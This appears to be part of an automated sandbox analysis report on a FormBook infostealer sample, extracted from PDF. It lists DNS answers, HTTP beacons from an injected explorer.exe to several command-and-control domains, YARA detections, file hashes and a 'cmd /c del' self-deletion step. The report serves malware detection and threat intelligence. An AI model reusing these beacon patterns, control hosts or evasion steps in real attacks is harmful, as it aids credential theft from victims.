20:36:25.485270977 
CEST

8.8.8.8 192.168.2.4 0x9122 No error (0) serviciosg
eneralesjb
a.online

68.65.120.219 A (IP address) IN (0x0001)

Oct 13, 2021 
20:36:30.966455936 
CEST

8.8.8.8 192.168.2.4 0x3843 No error (0) www.sapphi
remodule.com

44.227.65.245 A (IP address) IN (0x0001)

Oct 13, 2021 
20:36:30.966455936 
CEST

8.8.8.8 192.168.2.4 0x3843 No error (0) www.sapphi
remodule.com

44.227.76.166 A (IP address) IN (0x0001)

DNS Answers

HTTP Request Dependency Graph
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www.nhmingwei.com

            
www.celltecstore.com

            
www.ps-sac.com

            
www.txsports.club

            
www.rajinderbeas.com

            
www.box-770.com

            
www.thecrystalconsciousness.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.4 49811 154.208.173.144 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
20:35:31.965432882 CEST

2577 OUT GET /ni8b/?ZfEhPp=bnsPHpJ0JXfYedDeyyRM0T59hyvcJozMf52DwVsUkht3MP5YfvQl77Z8cLzJCfxgsHVQ&kTY=TdZdU 
HTTP/1.1
Host: www.nhmingwei.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.4 49815 52.5.157.71 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
20:35:37.474766970 CEST

5272 OUT GET /ni8b/?ZfEhPp=Zvg5mbxlh1FEUeAb4a18wQGVMNqECI22VVMpQ/dBRbKZgYLiDL5+JoutiYtpnsrAj+vq&kTY=TdZdU 
HTTP/1.1
Host: www.celltecstore.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 13, 2021 
20:35:37.627887964 CEST

5272 IN HTTP/1.1 301 Moved Permanently
content-length: 0
location: https://www.celltecstore.com/ni8b/?ZfEhPp=Zvg5mbxlh1FEUeAb4a18wQGVMNqECI22VVMpQ/dBRbKZgYLi
DL5+JoutiYtpnsrAj+vq&kTY=TdZdU
connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.4 49817 67.205.83.103 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
20:35:42.859961987 CEST

5847 OUT GET /ni8b/?ZfEhPp=Eseu83Nj43qLBMj7MwWHNBqOzdwc7j/6ub3THp3k2Y03CkKraCnGH8IbXpARdpoCPKFf&kTY
=TdZdU HTTP/1.1
Host: www.ps-sac.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

HTTP Packets
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Oct 13, 2021 
20:35:42.967576981 CEST

5847 IN HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Wed, 13 Oct 2021 18:35:42 GMT
Content-Type: text/html
Content-Length: 162
Connection: close
Location: https://www.ps-sac.com/ni8b/?ZfEhPp=Eseu83Nj43qLBMj7MwWHNBqOzdwc7j/6ub3THp3k2Y03CkKraCnGH8
IbXpARdpoCPKFf&kTY=TdZdU
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 
6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 
68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 
3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 
74 6d 6c 3e 0d 0a 
Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1
></center><hr><center>nginx</center></body></html>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.4 49823 148.72.177.185 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
20:35:48.294147968 CEST

5859 OUT GET /ni8b/?ZfEhPp=lGGQ0sEZ2PLdmlcqvZgUhQs2XHM9QQiXiItD8ZWi5Y/Bd+WpsK3C+f5erJECmSl9JpeM&kTY
=TdZdU HTTP/1.1
Host: www.txsports.club
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 13, 2021 
20:35:48.441919088 CEST

5861 IN HTTP/1.1 301 Moved Permanently
Server: nginx/1.21.3
Date: Wed, 13 Oct 2021 18:35:48 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 334
Connection: close
Location: http://www.txsports.club/public/ni8b?ZfEhPp=lGGQ0sEZ2PLdmlcqvZgUhQs2XHM9QQiXiItD8ZWi5Y/Bd+
WpsK3C+f5erJECmSl9JpeM&kTY=TdZdU

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.4 49831 216.10.241.4 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
20:35:59.038064003 CEST

5878 OUT GET /ni8b/?ZfEhPp=NtJPN2JufTPSUZxhVG2lwHAXNu/91wCxk6QRP91Jym6+DWJgifkFBuY1HfUXqRvRWjoF&kTY
=TdZdU HTTP/1.1
Host: www.rajinderbeas.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 13, 2021 
20:36:00.009967089 CEST

5879 IN HTTP/1.1 301 Moved Permanently
Date: Wed, 13 Oct 2021 18:35:59 GMT
Server: nginx/1.17.6
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress
Location: http://rajinderbeas.com/ni8b/?ZfEhPp=NtJPN2JufTPSUZxhVG2lwHAXNu/91wCxk6QRP91Jym6+DWJgifkFB
uY1HfUXqRvRWjoF&kTY=TdZdU
X-Endurance-Cache-Level: 2
X-nginx-cache: WordPress
X-Server-Cache: true
X-Proxy-Cache: MISS

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.4 49833 213.186.33.5 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
20:36:09.675868034 CEST

5885 OUT GET /ni8b/?ZfEhPp=5gklYs16rcBoTPwexQgZaEg2WcCOIBmXVnGtPO+7DRUqV3YS52r/gKUkKnDwsfv+vOIy&kTY
=TdZdU HTTP/1.1
Host: www.box-770.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 
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Click to jump to process

System Behavior

Oct 13, 2021 
20:36:09.701060057 CEST

5888 IN HTTP/1.1 302 Moved Temporarily
server: nginx
date: Wed, 13 Oct 2021 18:36:09 GMT
content-type: text/html
content-length: 138
location: http://www.box-770.com
x-iplb-request-id: 66818F21:C2A9_D5BA2105:0050_61672719_16AC109C:2FC1
x-iplb-instance: 16978
set-cookie: SERVERID77446=2001710|YWcnH|YWcnH; path=/; HttpOnly
connection: close
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 
65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 
3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 
72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 
Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>ng
inx</center></body></html>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.4 49851 31.170.167.144 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 13, 2021 
20:36:15.000571966 CEST

5935 OUT GET /ni8b/?ZfEhPp=JVySAPp733wZmQfNstMcOnNrXbLvf0xUB0jZ2Inh4UzmMU775P3StTy/F8q5n6jJiQm6&kTY=TdZdU 
HTTP/1.1
Host: www.thecrystalconsciousness.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Oct 13, 2021 
20:36:15.397768974 CEST

5938 IN HTTP/1.1 301 Moved Permanently
Connection: close
x-powered-by: PHP/7.4.16
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0
content-type: text/html; charset=UTF-8
x-redirect-by: WordPress
location: http://thecrystalconsciousness.com/ni8b/?ZfEhPp=JVySAPp733wZmQfNstMcOnNrXbLvf0xUB0jZ2Inh4U
zmMU775P3StTy/F8q5n6jJiQm6&kTY=TdZdU
x-litespeed-cache: miss
content-length: 0
date: Wed, 13 Oct 2021 18:36:15 GMT
server: LiteSpeed

Start time: 20:34:25

Start date: 13/10/2021

Path: C:\Users\user\Desktop\56460021473877.exe

Analysis Process: 56460021473877.exe PID: 5240 Parent PID: 6644Analysis Process: 56460021473877.exe PID: 5240 Parent PID: 6644

General
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File ActivitiesFile Activities

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\56460021473877.exe' 

Imagebase: 0x40000

File size: 569856 bytes

MD5 hash: D95E9BB2FA064A984C391B5BFC1D01E6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000000.00000002.695508447.00000000033A9000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000000.00000002.695508447.00000000033A9000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000000.00000002.695508447.00000000033A9000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000000.00000002.694839132.00000000023A1000.00000004.00000001.sdmp, Author: 
Joe Security

Reputation: low

Show Windows behavior

Start time: 20:34:34

Start date: 13/10/2021

Path: C:\Users\user\Desktop\56460021473877.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\Desktop\56460021473877.exe

Imagebase: 0xba0000

File size: 569856 bytes

MD5 hash: D95E9BB2FA064A984C391B5BFC1D01E6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: 56460021473877.exe PID: 5276 Parent PID: 5240Analysis Process: 56460021473877.exe PID: 5276 Parent PID: 5240

General

Copyright Joe Security LLC 2021 Page 24 of 27



File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000003.00000002.763748004.00000000015D0000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000003.00000002.763748004.00000000015D0000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000003.00000002.763748004.00000000015D0000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000003.00000002.762828125.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000003.00000002.762828125.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000003.00000002.762828125.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000003.00000002.763621485.00000000011C0000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000003.00000002.763621485.00000000011C0000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000003.00000002.763621485.00000000011C0000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Start time: 20:34:35

Start date: 13/10/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff6fee60000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000000.752209654.000000000EEF1000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000004.00000000.752209654.000000000EEF1000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000000.752209654.000000000EEF1000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000000.730886485.000000000EEF1000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000004.00000000.730886485.000000000EEF1000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000000.730886485.000000000EEF1000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

Show Windows behavior

File ReadFile Read

Analysis Process: explorer.exe PID: 3424 Parent PID: 5276Analysis Process: explorer.exe PID: 3424 Parent PID: 5276

General
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File ActivitiesFile Activities

Start time: 20:35:03

Start date: 13/10/2021

Path: C:\Windows\SysWOW64\control.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\control.exe

Imagebase: 0x2f0000

File size: 114688 bytes

MD5 hash: 40FBA3FBFD5E33E0DE1BA45472FDA66F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000008.00000002.940519272.0000000002830000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000008.00000002.940519272.0000000002830000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000008.00000002.940519272.0000000002830000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000008.00000002.940364992.0000000002530000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000008.00000002.940364992.0000000002530000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000008.00000002.940364992.0000000002530000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000008.00000002.939915779.0000000000500000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000008.00000002.939915779.0000000000500000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000008.00000002.939915779.0000000000500000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 20:35:08

Start date: 13/10/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\user\Desktop\56460021473877.exe'

Imagebase: 0x11d0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Analysis Process: control.exe PID: 980 Parent PID: 3424Analysis Process: control.exe PID: 980 Parent PID: 3424

General

File ReadFile Read

Analysis Process: cmd.exe PID: 7156 Parent PID: 980Analysis Process: cmd.exe PID: 7156 Parent PID: 980

General
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Disassembly

Code Analysis

Copyright Joe Security LLC

Start time: 20:35:09

Start date: 13/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff724c50000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: conhost.exe PID: 7024 Parent PID: 7156Analysis Process: conhost.exe PID: 7024 Parent PID: 7156

General
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